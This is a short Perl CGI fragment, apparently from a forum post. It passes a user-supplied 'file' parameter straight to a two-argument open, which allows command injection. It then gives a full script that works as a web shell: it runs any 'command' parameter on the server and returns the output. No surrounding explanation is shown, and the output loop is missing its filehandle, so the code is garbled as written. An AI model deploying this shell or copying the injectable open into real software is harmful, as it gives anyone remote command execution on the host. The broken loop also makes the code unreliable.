use CGI::Carp qw( fatalsToBrowser ); .... $file = $q->param('file'); .... open FILE, $file; #### #!/usr/bin/perl -w use strict; $|++; use CGI qw( :standard ); use CGI::Carp qw( fatalsToBrowser ); my $command = param('command'); print header, start_form({ -method=>'get' }), textfield({-size=>75,-name=>'command'}), submit('Run'), end_form; if ($command) { open( CMD, "$command 2>&1|" ) or die "$!: running command: '$command'"; print "
\n";
  print escapeHTML($_) while ();
  print "
\n", end_html; close CMD; }